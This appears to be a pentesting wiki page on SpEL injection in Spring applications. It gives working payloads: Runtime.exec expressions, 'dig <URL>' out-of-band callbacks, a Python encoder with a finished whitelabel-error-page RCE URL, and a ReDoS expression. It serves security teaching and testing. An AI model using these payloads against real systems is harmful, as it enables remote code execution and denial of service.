SpEL Injection
Spring Expression Language (SpEL) overview
The Spring Expression Language (SpEL for short) is a powerful expression language that supports querying and manipulating an object graph at runtime.
Expression evaluation using Spring's expression interface
The following code introduces the SpEL API to evaluate the literal string expression Hello World!:
ExpressionParser parser = new SpelExpressionParser();
Expression exp = parser.parseExpression("'Hello World'.concat('!')");
String message = (String) exp.getValue();The value of the message variable is simply Hello World!.
The EvaluationContext interface
The interface EvaluationContext is used when evaluating an expression to resolve properties, methods, fields, and to help perform type conversion. There are two main out-of-the-box implementations:
StandardEvaluationContext. A powerful and highly configurable
EvaluationContextimplementation. This context uses standard implementations of all applicable strategies, based on reflection to resolve properties, methods and fields.SimpleEvaluationContext. A basic implementation of
EvaluationContextthat focuses on a subset of essential SpEL features and customization options, targeting simple condition evaluation and in particular data binding scenarios.
StandardEvaluationContext standardContext = new StandardEvaluationContext();
EvaluationContext simpleContext = SimpleEvaluationContext.forReadOnlyDataBinding ().build();
Expression exp = parser.parseExpression("T(java.lang.Runtime).getRuntime().exec('id')");
// execute 'id' command (standard context is used by default)
exp.getValue();
// execute 'id' command
exp.getValue(standardContext);
// receive error message
exp.getValue(simpleContext);Expression support for defining bean definitions
SpEL expressions can be used with XML or annotation based configuration metadata for defining BeanDefinitions. In both cases the syntax to define the expression is of the form #{ <expression string> }.
XML based configuration
You can set a property or constructor-arg value using expressions.
<bean id="numberGuess" class="org.spring.samples.NumberGuess">
<property name="randomNumber" value="#{ T(java.lang.Math).random() * 100.0 }"/>
<property name="defaultLocale" value="#{ systemProperties['user.region'] }"/>
<!-- other properties -->
</bean>Annotation-based configuration
The @Value annotation can be placed on fields, methods and method/constructor parameters to specify a default value.
public static class FieldValueTestBean {
@Value("#{ systemProperties['user.region'] }")
private String defaultLocale;
public void setDefaultLocale(String defaultLocale)
{
this.defaultLocale = defaultLocale;
}
public String getDefaultLocale()
{
return this.defaultLocale;
}
}Language reference
SpEL Injection
SpEL injection occurs when user controlled data is passed directly to the SpEL expression parser. For instance, the following method uses the standard context to evaluate SpEL expression:
private static final SpelExpressionParser PARSER = new SpelExpressionParser();
private static final StandardEvaluationContext CONTEXT = new StandardEvaluationContext();
@PostMapping(path = "/")
public void method(@RequestBody String path, @RequestBody String value) {
Expression expression = PARSER.parseExpression(path);
expression.setValue(CONTEXT, value);
// ...
}As a result, you can gain code execution by sending the following POST request:
POST / HTTP/1.1
Host: vulnerable-website.com
...
{"path":"T(java.lang.Runtime).getRuntime().exec('touch executed').x", "value":"executed"}If you have access to a source code, try to search for vulnerable code using the following keywords:
SpelExpressionParser,EvaluationContext,parseExpression,@Value("#{ <expression string> }")#{ <expression string> },${<property>},T(<javaclass>)
If a source code is not available, it is worth checking the metrics and beans endpoints provided by the Spring Boot actuators. These endpoints can expand the list of available beans and the parameters they accept.
Additionally, try to use expressions in different elements of the service:
Parameter names and values:
variable[<expression string>]=123variable=123&<expression string>=123{"<expression string>":"123"}{"variable":"<expression string>"}
HTTP headers:
Cookie: cookie_name=<expression string>Cookie: <expression string>=cookie_valuePrivate-Token: <expression string>
etc.
You can use the following payloads as the expression string:
${1+3}
T(java.lang.Runtime).getRuntime().exec("dig <URL>")
#this.getClass().forName('java.lang.Runtime').getRuntime().exec('dig <URL>')
new java.lang.ProcessBuilder({'dig <URL>'}).start()
${user.name}Spring boot whitelabel error page RCE
This vulnerability requires the following conditions:
Spring Boot version
1.1.0 - 1.1.12,1.2.0 - 1.2.7,1.3.0There is at least one interface that triggers the default whitelabel error page in Spring Boot
Check the next Spring Boot application: LandGrey/springboot-spel-rce. If you send a request to /article?id=hop, the application will return a whitelabel error with code 500. However, if you send a request to /article?id=${7*7}, the application returns an error page with the calculated value 49. It happens because:
Spring Boot processes URL parameters in errors with the
org.springframework.util.PropertyPlaceholderHelperclassPropertyPlaceholderHelper.parseStringValuemethod parses URL parametersContent enclosed in
${}will be parsed and executed as a SpEL expression by theresolvePlaceholdermethod oforg.springframework.boot.autoconfigure.web.ErrorMvcAutoConfigurationclass
As a result, it leads to RCE and you can execute arbitrary commands using the following steps:
Prepare the payload with the next python scrypt (this sample prepares a payload that executes
open -a Calculatorcommand):cmd = 'open -a Calculator' h = '' for x in cmd: h += hex(ord(x)) + ',' payload = h.rstrip(',') print('${T(java.lang.Runtime).getRuntime().exec(new String(new byte[]{' + payload + '}))}')Send the payload within the
idparameter:/article?id=${T(java.lang.Runtime).getRuntime().exec(new%20String(new%20byte[]{0x6f,0x70,0x65,0x6e,0x20,0x2d,0x61,0x20,0x43,0x61,0x6c,0x63,0x75,0x6c,0x61,0x74,0x6f,0x72}))}open -a Calculatorwill be executed
References:
SimpleEvaluationContext ReDoS
The SimpleEvaluationContext context prevents arbitrary code executing and writes a error message. However, you still can exploit the ReDoS attack.
EvaluationContext simpleContext = SimpleEvaluationContext.forReadOnlyDataBinding ().build();
Expression exp = parser.parseExpression("'aaaaaaaaaaaaaaaaaaaaaaaa!'.matches('^(a+)+$')");
// ReDoS
exp.getValue(simpleContext);References
Last updated